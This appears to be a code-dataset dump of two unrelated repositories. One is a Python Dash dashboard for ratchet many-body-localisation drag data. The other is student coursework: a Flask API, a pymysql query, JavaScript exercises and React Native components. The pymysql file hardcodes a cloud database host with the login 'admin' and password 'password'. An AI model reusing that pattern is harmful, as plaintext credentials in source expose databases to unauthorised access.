print(data[0,0][0][0][2],EnergyGapStat(data[0,0][0][0][2]))\n\nanalysis2=[val,val,val]\ntabData={}\nfor i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n tabData[i,j]=[]\n\nfor i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n for k in range(len(data[i,j])):\n for l in range(len(data[i,j][k])):\n tabData[i,j].append(data[i,j][k][l])\n\nanalysis=[tabData,tabData,tabData]\nvChoice=[0.1,0.1,0.1]\n# params=['W','Wx','n','b','J','U','mu','t','A','p','v','a1','a2','pot']\n# rqm.CompState(\"States.dat\")\n\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__)#, external_stylesheets=external_stylesheets)\n\nserver=app.server\n\napp.layout = html.Div([\n\n html.H1(\"Ratchet MBL drag\",style={'text-align':'center'}),\n\n html.H3(\"Energy density choice\", style={'text-align':'center', 'width':\"40%\"}),\n \n html.Div([\n \n # html.Label('Lattice sites n'),\n # dcc.Slider(id='n',\n # min=2,\n # max=12,\n # marks={i: '{}'.format(i) if i == 1 else str(i) for i in range(2, 12+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=5,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('Number of particles'),\n # dcc.Slider(id='b',\n # min=0,\n # max=12,\n # marks={i: '{}'.format(i) if i == 1 else str(i) for i in range(0, 12+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=2,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('Hopping Amplitude J'),\n # dcc.Slider(id='J',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i) if i == 1 else str(i) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=1,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('On-site interaction strength U'),\n # dcc.Slider(id='U',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i) if i == 1 else str(i) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=1,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('Chemical potential'),\n # dcc.Slider(id='mu',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i) if i == 1 else str(i) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=1,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('Disorder parameter W'),\n # dcc.Slider(id='W',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i*10) if i == 1 else str(i*10) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=1,\n # #style={'width':\"40%\"}\n # )\n\n html.Label('Energy density location'),\n dcc.Slider(id='enStart',\n min=0,\n max=numStates-1,\n marks={100*i: '{}'.format(100*i) if i == 0 else str(100*i) for i in range(0, 9)},\n #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n value=int(numStates/2),\n #style={'width':\"40%\"}\n ),\n\n html.Label('Energy density window size'),\n dcc.Slider(id='winSize',\n min=1,\n max=numStates,\n marks={100*i: '{}'.format(100*i) if i == 0 else str(100*i) for i in range(0, 9)},\n #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n value=20,\n #style={'width':\"40%\"}\n ),\n\n html.Label('Disorder realization no.'),\n dcc.Slider(id='disNum',\n min=1,\n max=int(np.min(count)),\n marks={i: '{}'.format(i) if i==0 else str(i) for i in range(1,int(np.min(count)))},\n value=1,\n )\n\n ], style={'columnCount': 3}),\n \n # html.H3(\"Potential parameters:\", style={'text-align':'center', 'width':\"40%\"}),\n\n # html.Div([\n\n \n \n # html.Label('Potential type'),\n # dcc.Dropdown(id=\"pot\",\n # options=[\n # {'label': u'Sawtooth potential', 'value': 'sw'},\n # {'label': 'Reverse sawtooth potential', 'value': 'rsw'},\n # {'label': 'Bichromatic flashing potential', 'value': 'bi'}\n # ],\n # multi=False,\n # value='sw',\n # style={'width':\"70%\"}\n # ),\n\n # html.Div(id='output_container',children=[]),\n\n # html.Label('Potential amplitude A'),\n # dcc.Slider(id='A',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i*10) if i == 1 else str(i*10) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=3,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('Period p'),\n # dcc.Slider(id='p',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i) if i == 1 else str(i) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=2,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('Velocity v'),\n # dcc.Slider(id='v',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i*0.1) if i == 1 else str(i) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=1,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('Time depndent potential amplitude a2'),\n # dcc.Slider(id='a2',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i) if i == 1 else str(i) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=5,\n # #style={'width':\"40%\"}\n # ),\n\n # html.Label('Quasiperiodic parameter a1'),\n # dcc.Slider(id='a1',\n # min=0,\n # max=9,\n # marks={i: '{}'.format(i) if i == 1 else str(i) for i in range(0, 9+1)},\n # #marks={i: 'J {}'.format(i) if i == 1 else str(i) for i in range(1, 6)},\n # value=5,\n # #style={'width':\"40%\"}\n # )\n # ], style={'columnCount': 1}),\n\n html.Div([\n html.Label('energy density location:'),\n html.Div(id='updatemode-output-container',children=[]),\n\n html.Label('window size:'),\n html.Div(id='updatemode-output-container2',children=[]),\n ], style={'margin-top': 20, 'columnCount': 2}),\n\n html.Div([\n html.Label('Velocity'),\n dcc.Dropdown(id=\"v\",\n options=[\n {'label': '0.01', 'value': 'slow'},\n {'label': '0.1', 'value': 'normal'},\n {'label': '1', 'value': 'fast'}\n ],\n multi=False,\n value='normal',\n style={'width':\"70%\"}\n ),\n\n html.Label('Average disorder?'),\n dcc.Dropdown(id=\"Wavg\",\n options=[\n {'label': 'yes', 'value': 'yes'},\n {'label': 'no', 'value': 'no'}\n ],\n multi=False,\n value='no',\n style={'width':\"70%\"}\n )\n ], style={'columnCount': 2}),\n\n \n\n # html.Div([\n # html.Label('Evolution time'),\n # dcc.Input(id='t',value=100, type='number'),\n\n # html.Label('Disorder parameter: '),\n # html.Div(id='output_container2',children=[]),\n # ], style={'columnCount': 2}),\n \n\n html.Br(),\n\n \n\n html.Div([\n \thtml.H2(\"energy gap statistics:\",style={'text-align':'center', 'width':\"40%\"}),\n dcc.Graph(id='r-index',figure={}),\n html.H2(\"heatmap of rectification in parameter space:\", style={'text-align':'center', 'width':\"40%\"}),\n dcc.Graph(id='rec',figure={}),\n html.H2(\"heatmap of mobility in parameter space:\", style={'text-align':'center', 'width':\"40%\"}),\n dcc.Graph(id='mob',figure={}),\n \n # html.H2(\"v=-|v|:\", style={'text-align':'center', 'width':\"40%\"}),\n # dcc.Graph(id='results2',figure={}),\n # html.H2(\" \", style={'text-align':'center', 'width':\"40%\"}),\n # dcc.Graph(id='results2Histo',figure={})\n ], style={'columnCount': 3}),\n\n html.H2(\"Specific instances\", style={'text-align':'center', 'width':\"40%\"}),\n\n html.Div([\n html.Label(\"Amplitude of static ratchet\"),\n dcc.Input(id='A',min=0,max=4,value=3,type='number'),\n\n html.Label(\"Disorder amplitude\"),\n dcc.Input(id='W',min=0,max=9,value=7,type='number'),\n ]),\n\n html.Div([\n dcc.Graph(id='recIns',figure={}),\n dcc.Graph(id='mobIns',figure={})\n ], style={'columnCount': 2})\n \n\n])#, style={'columnCount': 2})\n\n# -------------------------------------------------------------------------------------------------\n# Connect the plotly graphs with Dash components\n\[email protected](\n [Output(component_id='r-index',component_property='figure'),\n Output(component_id='rec',component_property='figure'),\n Output(component_id='mob',component_property='figure'),\n Output(component_id='recIns',component_property='figure'),\n Output(component_id='mobIns',component_property='figure'),\n Output(component_id='updatemode-output-container',component_property='children'),\n Output(component_id='updatemode-output-container2',component_property='children')],\n [Input(component_id='enStart',component_property='value'),\n Input(component_id='winSize',component_property='value'),\n Input(component_id='disNum',component_property='value'),\n Input(component_id='v',component_property='value'),\n Input(component_id='Wavg',component_property='value'),\n Input(component_id='A',component_property='value'),\n Input(component_id='W',component_property='value')\n # Output(component_id='output_container',component_property='children'),\n # Output(component_id='output_container2',component_property='children'),\n # Output(component_id='results1', component_property='figure'),\n # Output(component_id='results1Histo', component_property='figure'),\n # Output(component_id='results2', component_property='figure'),\n # Output(component_id='results2Histo', component_property='figure'),\n # Output(component_id='results3', component_property='figure'),\n # Output(component_id='results3Histo', component_property='figure')],\n # [Input(component_id='pot', component_property='value'),\n # Input(component_id='n', component_property='value'),\n # Input(component_id='b', component_property='value'),\n # Input(component_id='J', component_property='value'),\n # Input(component_id='U', component_property='value'),\n # Input(component_id='mu', component_property='value'),\n # Input(component_id='W', component_property='value'),\n # Input(component_id='t', component_property='value'),\n # Input(component_id='A', component_property='value'),\n # Input(component_id='v', component_property='value'),\n # Input(component_id='p', component_property='value'),\n # Input(component_id='a1', component_property='value'),\n # Input(component_id='a2', component_property='value')\n ]\n)\n\ndef update_graph(enStartSelect, winSizeSelect, disNumSelect, vSelect, WavgSelect, ASelect, WSelect):\n # global Runs,output\n # exists=False\n # rev=False\n # val=0\n #print(type(potSelect),potSelect)\n # print(disNumSelect)\n # print(WavgSelect)\n global analysis, vChoice, SquareLog, Wlog, analysis2, EnStat\n if vSelect=='slow':\n choice=0\n elif vSelect=='normal':\n choice=1\n elif vSelect=='fast':\n choice=2\n\n # print(choice)\n\n Analysis=analysis[choice]\n if WavgSelect=='yes':\n # FIXIT\n Analysis=analysis2[choice]\n elif WavgSelect=='no':\n # count=1\n Analysis=analysis[choice]\n\n A=SquareLog[ASelect]\n W=Wlog[WSelect]\n\n begin=enStartSelect\n size=winSizeSelect\n\n # print(begin)\n # print(size)\n\n chi=np.zeros([len(SquareLog),len(Wlog)],dtype=complex) # susceptibility\n drag=np.zeros([len(SquareLog),len(Wlog)],dtype=complex) # ratchetness\n var=np.zeros([len(SquareLog),len(Wlog)],dtype=complex)\n chiAbs=np.zeros([len(SquareLog),len(Wlog)],dtype=complex) # susceptibility\n dragAbs=np.zeros([len(SquareLog),len(Wlog)],dtype=complex) # ratchetness\n varAbs=np.zeros([len(SquareLog),len(Wlog)],dtype=complex)\n mask=np.ones([len(SquareLog),len(Wlog)],dtype=bool)\n rindex=np.zeros([len(SquareLog),len(Wlog)])\n\n # print(len(Analysis[len(SquareLog)-1,len(Wlog)-1]))\n print(WavgSelect)\n\n for i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n # if(Analysis[i,j]==[]):\n # chi[i,j]=0\n # drag[i,j]=0\n # else:\n if True:\n mask[i,j]=False\n # count=0\n # for k in range(len(Analysis[i,j])):\n # # print(i,j,len(data[i,j]),len(data[i,j][k]))\n # for l in range(len(Analysis[i,j][k])):\n temp_data=analysis[0][i,j][0]\n if WavgSelect=='yes':\n Analysis=analysis2[choice]\n temp_data=Analysis[i,j]\n elif WavgSelect=='no':\n # count=1\n Analysis=analysis[choice]\n temp_data=Analysis[i,j][disNumSelect-1]\n chiAbs[i,j]+=np.mean(np.abs((np.array(temp_data[0])-np.array(temp_data[1])))[-1])/2/6\n dragAbs[i,j]+=np.mean(np.abs((np.array(temp_data[0])+np.array(temp_data[1])))[-1])/2/6\n # varAbs[i,j]+=np.mean(np.abs((np.array(temp_data[0])+np.array(temp_data[1]))/(np.array(temp_data[0])+np.array(temp_data[1])))[-1])\n chi[i,j]+=np.mean(np.real(np.array(temp_data[0])-np.array(temp_data[1]))[-1][begin:begin+size])/2/6\n drag[i,j]+=np.mean(np.real(np.array(temp_data[0])+np.array(temp_data[1]))[-1][begin:begin+size])/2/6\n # var[i,j]+=np.mean(np.real((np.array(temp_data[0])-np.array(temp_data[1]))/(np.array(temp_data[0])+np.array(temp_data[1])))[-1][numStates:numStates+20])\n # count += 1\n # print(i,j,count)\n\n chi[i,j]/=1.0\n drag[i,j]/=1.0\n # var[i,j]/=1.0*len(data[i,j])\n var[i,j]+=drag[i,j]/chi[i,j]\n chiAbs[i,j]/=1.0\n dragAbs[i,j]/=1.0\n # varAbs[i,j]/=1.0*len(data[i,j])\n varAbs[i,j]+=dragAbs[i,j]/chiAbs[i,j]\n rindex[i,j]=EnStat[i,j]\n\n yAxisNp=np.linspace(-5,5,n)[8:13]\n xAxisNp=np.linspace(-5,5,int(2*n))[15:25]\n yAxis=np.char.mod('%.3f',yAxisNp)\n xAxis=np.char.mod('%.3f',xAxisNp)\n\n rangeChi=np.max([np.abs(np.max(np.real(chi))),np.abs(np.min(np.real(chi)))])\n rangeDrag=np.max([np.abs(np.max(np.real(drag))),np.abs(np.min(np.real(drag)))])\n\n # print(EnStat)\n figRindex=px.imshow(np.flip(np.real(rindex),0)[:,:], \n labels=dict(x=\"log(W/J)\",y=\"log(A/a_2)\"),x=xAxis,y=np.flip(yAxis,0),\n range_color=[0.39,0.53],color_continuous_scale=px.colors.diverging.RdBu)\n figRindex['layout']['xaxis']['type']='category'\n figRindex['layout']['yaxis']['type']='category'\n figChiHeatmap=px.imshow(np.flip(np.real(chi),0)[:,:], \n labels=dict(x=\"log(W/J)\",y=\"log(A/a_2)\"),x=xAxis,y=np.flip(yAxis,0),\n range_color=[-rangeChi,rangeChi],color_continuous_scale=px.colors.diverging.RdBu)\n figChiHeatmap['layout']['xaxis']['type']='category'\n figChiHeatmap['layout']['yaxis']['type']='category'\n figDragHeatmap=px.imshow(np.flip(np.real(drag),0)[:,:],\n labels=dict(x=\"log(W/J)\",y=\"log(A/a_2)\"),x=xAxis,y=np.flip(yAxis,0),\n range_color=[-rangeDrag,rangeDrag],color_continuous_scale=px.colors.diverging.RdBu)\n figDragHeatmap['layout']['xaxis']['type']='category'\n figDragHeatmap['layout']['yaxis']['type']='category'\n\n # pots=['Sawtooth','Reverse sawtooth','Bichromatic flashing']\n # container=\"The chosen potential is {}\".format(pots[val])\n # currentRun={'W':W,'Wx':Wx,'n':n,'b':b,'J':J,'U':U,'mu':mu,'t':t,'A':A,'p':p,'v':v,'a1':a1,'a2':a2,'pot':potSelect}\n # fText='L%.0f,'%n+'p%.0f,'%b+'J%.1f,'%J+'U%.1f,'%U+'mu%.1f,'%mu+'A%.1f,'%A+'omega%.1f,'%omega+'k%.1f,'%k+',a_1%.1f,'%a1+'a_2%.1f,'%a2+'W%.1f,'%W+'Wx%.1f'%Wx\n #print(fText)\n\n Ai=ASelect\n Wj=WSelect\n\n SingleData=analysis[choice][Ai,Wj][disNumSelect-1]\n energy=analysis[choice][Ai,Wj][disNumSelect-1][2]\n\n if WavgSelect=='yes':\n # FIXIT\n SingleData=analysis2[choice][Ai,Wj]\n energy=analysis2[choice][Ai,Wj][2]\n elif WavgSelect=='no':\n # count=1\n SingleData=analysis[choice][Ai,Wj][disNumSelect-1]\n energy=analysis[choice][Ai,Wj][disNumSelect-1][2]\n w=size\n # for i in range(len(data)):\n # for j in range(len(data[i])):\n # if (i==0) and (j==0):\n # continue\n # val += data[i][j]\n # count+=1\n\n # no disorder averaging\n outA=np.array(SingleData)\n # outA=np.array(val)#/(1.0*count)\n\n res=np.real((np.array(outA[0])+np.array(outA[1])))/2/6/(1.0)\n res2=np.real((np.array(outA[0])-np.array(outA[1])))/2/6/(1.0)\n\n ratchet=[]\n ratchetstd=[]\n drag=[]\n dragstd=[]\n # ratio=[]\n loc=[]\n locstd=[]\n iterations = int((numStates-np.mod(numStates,w))/w)\n # print(numStates,iterations)\n # fig = pp.figure(fignum, figsize=(10/1.25*4/6*3,12/1.25/2),dpi=100,facecolor='w')\n # print(iterations)\n for ind in range(iterations):\n i = w*ind\n if ind==iterations-1:\n width=np.mod(numStates,w)\n ratchet.append(np.mean(np.real(res[-1][i:i+width])))\n drag.append(np.mean(np.real(res2[-1][i:i+width])))\n ratchetstd.append(np.std(np.real(res[-1][i:i+width])))\n dragstd.append(np.std(np.real(res2[-1][i:i+width])))\n loc.append(np.mean(np.real(energy[i:i+width])))\n locstd.append(np.std(np.real(energy[i:i+width])))\n break\n ratchet.append(np.mean(np.real(res[-1][i:i+w])))\n drag.append(np.mean(np.real(res2[-1][i:i+w])))\n ratchetstd.append(np.std(np.real(res[-1][i:i+w])))\n dragstd.append(np.std(np.real(res2[-1][i:i+w])))\n loc.append(np.mean(np.real(energy[i:i+w])))\n locstd.append(np.std(np.real(energy[i:i+w])))\n\n dfigPartChunkDrag={}\n dfigPartChunkChi={}\n dfigPartChunkDrag['x']=loc\n dfigPartChunkDrag['y']=ratchet\n dfigPartChunkDrag['err_x']=locstd\n dfigPartChunkDrag['err_y']=ratchetstd\n dfigPartChunkChi['x']=loc\n dfigPartChunkChi['y']=drag\n dfigPartChunkChi['err_x']=locstd\n dfigPartChunkChi['err_y']=dragstd\n\n figDrag=px.scatter(dfigPartChunkDrag,x='x',y='y',error_x='err_x',error_y='err_y',\n labels={'x':'energy', 'y':'rectification'})\n figChi=px.scatter(dfigPartChunkChi,x='x',y='y',error_x='err_x',error_y='err_y',\n labels={'x':'energy', 'y':'mobility'})\n\n # index=-1\n # data=[]\n # #print(len(Runs))\n # for i in range(len(Runs)):\n # exists = True\n # for key in params:\n # if Runs[i][key]==currentRun[key]:\n # exists = np.bool(exists*True)\n # elif not(Runs[i][key]==currentRun[key]):\n # exists = False\n # break\n # if exists:\n # index = i\n # break\n #print(exists)\n\n # if exists:\n # if index==-1:\n # print('Error: cannot find previous index')\n # return\n # data=output[index]\n\n # else:\n # #print('here')\n # output.append(rqm.Evo(rqm.Hamil,pot,n,b,J,U,mu,W,Wx,False,False,0.01,t,0.1,A,p,v,a1,a2,False,rev,fText))\n # data=output[len(output)-1]\n # Runs.append(currentRun)\n\n #fig=tls.mpl_to_plotly(rqm.graphWeb(data))\n # container2=\"v=+|v|: %.1f\"%data[2][0]+\", v=-|v|: %.1f\"%data[3][0]\n \n # sample0=[]\n # sample1=[]\n # sample2=[]\n # for j in range(len(data[4])): \n # sample0.append([data[0][i][j] for i in range(len(data[0]))])\n # sample1.append([data[1][i][j] for i in range(len(data[1]))])\n # sample2.append([data[0][i][j]+data[1][i][j] for i in range(len(data[0]))])\n # #print(t,len(np.arange(0,t+1,1)),len(np.real(sample0[0]).tolist()))\n\n # h1d=np.real(data[0][-1])\n # h2d=np.real(data[1][-1])\n # h3d=np.real(data[0][-1]+data[1][-1])\n # #h1=np.histogram(h1d,bins=range(np.int(np.floor(np.min(h1d))),np.int(np.ceil(np.max(h1d))),25))\n # #h2=np.histogram(h2d,bins=range(np.int(np.floor(np.min(h2d))),np.int(np.ceil(np.max(h2d))),25))\n # h1=np.histogram(h1d,bins=25,range=(np.min(h1d),np.max(h1d)))\n # h2=np.histogram(h2d,bins=25,range=(np.min(h2d),np.max(h2d)))\n # h3=np.histogram(h3d,bins=25,range=(np.min(h3d),np.max(h3d)))\n # #bins1 = 0.5 * (h1[1][:-1] + h1[1][1:])\n # #bins2 = 0.5 * (h2[1][:-1] + h2[1][1:])\n\n # fig1 = px.line(x=np.arange(0,t+1,1), y=[np.real(sample0[i]).tolist() for i in range(len(data[4]))], labels={'x':'t','y':'current'})\n # fig2 = px.line(x=np.arange(0,t+1,1), y=[np.real(sample1[i]).tolist() for i in range(len(data[4]))], labels={'x':'t','y':'current'})\n # fig3 = px.line(x=np.arange(0,t+1,1), y=[np.real(sample2[i]).tolist() for i in range(len(data[4]))], labels={'x':'t','y':'current'})\n # fig1.update_layout(showlegend=False)\n # fig2.update_layout(showlegend=False)\n # fig3.update_layout(showlegend=False)\n\n # hist1 = px.bar(x=h1[1][:25].tolist(),y=h1[0],labels={'x':'current','y':'number of states'})\n # hist2 = px.bar(x=h2[1][:25].tolist(),y=h2[0],labels={'x':'current','y':'number of states'})\n # hist3 = px.bar(x=h3[1][:25].tolist(),y=h3[0],labels={'x':'current','y':'number of states'})\n\n\n\n return figRindex,figDragHeatmap,figChiHeatmap,figDrag,figChi,begin,size\n\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)" }, { "alpha_fraction": 0.8048780560493469, "alphanum_fraction": 0.8048780560493469, "avg_line_length": 19.5, "blob_id": "fa40a502cc38640547fc20ac75735a74313daa03", "content_id": "62dbb7015eca50a6b353b279076477b2ddb312ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 41, "license_type": "no_license", "max_line_length": 25, "num_lines": 2, "path": "/README.md", "repo_name": "dhwu14/rmblDataDump", "src_encoding": "UTF-8", "text": "# rmblDataDump\ndata for ratchet mbl drag\n" } ]
2
GabrielCarvalho06/lasalle.2021.2.devmob
https://github.com/GabrielCarvalho06/lasalle.2021.2.devmob
495cb09bf07eba4a1242ea6e2cea4d85f4a60943
47a5d52522995c6432db7542a3b80a4db7cd2eef
813c050717cae0381f6afe35db4d0ccfcb2945b9
refs/heads/main
2023-09-02T10:21:39.381172
2021-11-23T19:23:34
2021-11-23T19:23:34
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5401350259780884, "alphanum_fraction": 0.5423855781555176, "avg_line_length": 30.5, "blob_id": "e0c67942274709014414bf7cbb099d3bcb4d895b", "content_id": "f1765335e3a4f639770eb8e5a479a1c0759e8679", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1333, "license_type": "no_license", "max_line_length": 79, "num_lines": 42, "path": "/semana8/backend/listProfs.py", "repo_name": "GabrielCarvalho06/lasalle.2021.2.devmob", "src_encoding": "UTF-8", "text": "import pymysql.cursors\nimport json\n\n\ndef list_professores():\n db_host=\"database-2.chepjpbrdarx.us-east-1.rds.amazonaws.com\"\n db_banco=\"bancoprog\"\n \n listaProf =[]\n jsonProf = {}\n \n \n # Connect to the database\n connection = pymysql.connect(host=db_host,\n user='admin',\n password='password',\n database=db_banco,\n cursorclass=pymysql.cursors.DictCursor)\n\n with connection:\n # with connection.cursor() as cursor:\n # Create a new record\n # sql = \"INSERT INTO `users` (`email`, `password`) VALUES (%s, %s)\"\n # cursor.execute(sql, ('[email protected]', 'very-secret'))\n\n # connection is not autocommit by default. So you must commit to save\n # your changes.\n #connection.commit()\n\n with connection.cursor() as cursor:\n # Read a single record\n sql = \"SELECT nome FROM professor\"\n cursor.execute(sql)\n registros = cursor.fetchall()\n for professor in registros:\n listaProf.append(professor[\"nome\"])\n \n #monta o json de saida\n jsonProf[\"professores\"] = listaProf\n json_object = json.dumps(jsonProf, indent=4 ) \n \n return json_object " }, { "alpha_fraction": 0.6319702863693237, "alphanum_fraction": 0.6319702863693237, "avg_line_length": 18, "blob_id": "7316c15a833928372330721a5af6b8ea8cc921f3", "content_id": "f4aef1d09824e2ac483bd3f2aa20b82f04171196", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 269, "license_type": "no_license", "max_line_length": 55, "num_lines": 14, "path": "/semana7/backend/server.py", "repo_name": "GabrielCarvalho06/lasalle.2021.2.devmob", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask_cors import CORS, cross_origin\n\napp = Flask(__name__)\nCORS(app)\n\n\n# rota API\[email protected](\"/professores\")\ndef professores():\n return {\"professores\" :[\"Alex\", \"Marcia\", \"Fabio\"]}\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n\n" }, { "alpha_fraction": 0.5993691086769104, "alphanum_fraction": 0.6041009426116943, "avg_line_length": 20.86206817626953, "blob_id": "9e1b8fb5dd4c5fc7f088bef8f9f4f2a4c72ba825", "content_id": "78b02ae9e7859cc08c4694e4ae8cb8657778946b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 636, "license_type": "no_license", "max_line_length": 62, "num_lines": 29, "path": "/semana5/AppSemana5/components/Contador.js", "repo_name": "GabrielCarvalho06/lasalle.2021.2.devmob", "src_encoding": "UTF-8", "text": "import React, {useState} from 'react';\nimport { Button, StyleSheet, Text, View } from 'react-native';\n\nexport default function Contador(props) {\n \n const [valor, setValor] = useState(0);\n\n const atualizaContador = () => {\n setValor(valor + 1); \n }\n\n return (\n <View style={styles.container}>\n <Text>Você clicou {valor} vezes no botão.</Text>\n <Button\n onPress={atualizaContador}\n title={props.title || \"contar\"} />\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n flex: 1,\n backgroundColor: '#fff',\n alignItems: 'center',\n justifyContent: 'center',\n },\n});\n" }, { "alpha_fraction": 0.6689189076423645, "alphanum_fraction": 0.6891891956329346, "avg_line_length": 16.47058868408203, "blob_id": "2a0141fa43e9b8ac854a82787136f99831cbdb2a", "content_id": "4a4e230da5fa73cf794b44550b9c031e53253d55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 300, "license_type": "no_license", "max_line_length": 61, "num_lines": 17, "path": "/semana3/01-variaveis.js", "repo_name": "GabrielCarvalho06/lasalle.2021.2.devmob", "src_encoding": "UTF-8", "text": "let meuNome = 'Chris';\n\nfunction logNome() {\n console.log(meuNome);\n}\n\nlogNome();\n\nmeuNome = 'Bob';\n\nlogNome();\n\n\nvar meuNumero = '500'; // opa, isso continua sendo uma string\nconsole.log(typeof(meuNumero));\nmeuNumero = 500; // bem melhor — agora isso é um número\nconsole.log(typeof(meuNumero));" }, { "alpha_fraction": 0.7135761380195618, "alphanum_fraction": 0.7152317762374878, "avg_line_length": 16.735294342041016, "blob_id": "d98acc6987c98e8317157dbe15f31f44ed57e77b", "content_id": "07ca0211896254b1fa02c2a6be860bb3ac83e8dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 604, "license_type": "no_license", "max_line_length": 69, "num_lines": 34, "path": "/semana3/03-arrays.js", "repo_name": "GabrielCarvalho06/lasalle.2021.2.devmob", "src_encoding": "UTF-8", "text": "var shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles'];\nconsole.log(shopping);\n\n\nconsole.log(shopping[2]);\n\nvar myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';\n\nvar myArray = myData.split(',');\nconsole.log(myArray);\n\n\nvar myNewString = myArray.join('-');\nconsole.log(myNewString);\n\nmyArray.push('Flamengo');\nmyArray;\nmyArray.push('Vasco', 'Botafogo');\n\nmyArray[myArray.length] = \"Fluminense\"\n\nconsole.log(myArray);\n\nmyArray.pop();\n\nconsole.log(myArray);\n\nmyArray.unshift('BRAZIL');\n\nconsole.log(myArray);\n\nvar removedItem = myArray.shift();\nconsole.log(myArray);\nremovedItem;\n\n" }, { "alpha_fraction": 0.6779661178588867, "alphanum_fraction": 0.7627118825912476, "avg_line_length": 18.66666603088379, "blob_id": "5f474979e4cd031a6a059ba933b305d5a22eba5e", "content_id": "a7b650fc5306c8c10e1bac5f09ddc9639812f332", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 59, "license_type": "no_license", "max_line_length": 33, "num_lines": 3, "path": "/README.md", "repo_name": "GabrielCarvalho06/lasalle.2021.2.devmob", "src_encoding": "UTF-8", "text": "# lasalle.2021.2.devmob\n\n## Aula de Desenvolvimento Mobile\n" }, { "alpha_fraction": 0.5373134613037109, "alphanum_fraction": 0.5522388219833374, "avg_line_length": 20.382978439331055, "blob_id": "a44a13b9cdbbad9e440adf1bc2627ca26374e8fd", "content_id": "80b5dfb0cf5f136999710c8cb943abf77f6d0bb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2012, "license_type": "no_license", "max_line_length": 103, "num_lines": 94, "path": "/semana5/AppSemana5/components/Cards.js", "repo_name": "GabrielCarvalho06/lasalle.2021.2.devmob", "src_encoding": "UTF-8", "text": "import React, {useState} from 'react';\nimport { Button, StyleSheet, Text, TextInput, View } from 'react-native';\n\nexport default function Cards(props) {\n \n const [num1, setNum1] = useState(1);\n const [num2, setNum2] = useState(2);\n const [score, setScore] = useState(0);\n const [resultado, setResultado] = useState(\"\");\n const [acertou, setAcertou] = useState(true);\n \n const atualizaResult = (value) => {\n setResultado(value);\n }\n\n const onTestPress = () => {\n let result = parseInt(resultado);\n\n if (result === (num1 + num2))\n {\n //resposta correta\n setAcertou(true);\n setScore(score + 1);\n setNum1( Math.ceil( Math.random() * 10 ) );\n setNum2( Math.ceil( Math.random() * 10 ) );\n\n }\n else\n {\n //resposta incorreta\n setAcertou(false);\n }\n setResultado(\"\");\n }\n\n if( score >= 5)\n {\n return(\n <View style={styles.container}>\n <Text style={styles.win} >You Won!!!!!</Text>\n </View>\n );\n }\n else\n {\n return (\n <View style={styles.container}>\n <Text>Jogo de Adição</Text>\n <Text style={ acertou ? styles.textoSoma : styles.textoSomaErrado } >{num1} + {num2} ?</Text>\n <TextInput \n onChangeText={atualizaResult}\n style={styles.input}\n value={resultado}\n placeholder=\"Advinha?\"\n keyboardType=\"numeric\"\n ></TextInput>\n <Button\n title=\"Testar\"\n onPress={onTestPress}\n ></Button>\n <Text style={styles.score} >Score: {score}</Text>\n </View>\n );\n }\n}\n\nconst styles = StyleSheet.create({\n container: {\n flex: 1,\n backgroundColor: '#fff',\n alignItems: 'center',\n justifyContent: 'center',\n },\n input: {\n fontSize: 35,\n },\n textoSoma:{\n fontSize: 40,\n color: 'black'\n },\n 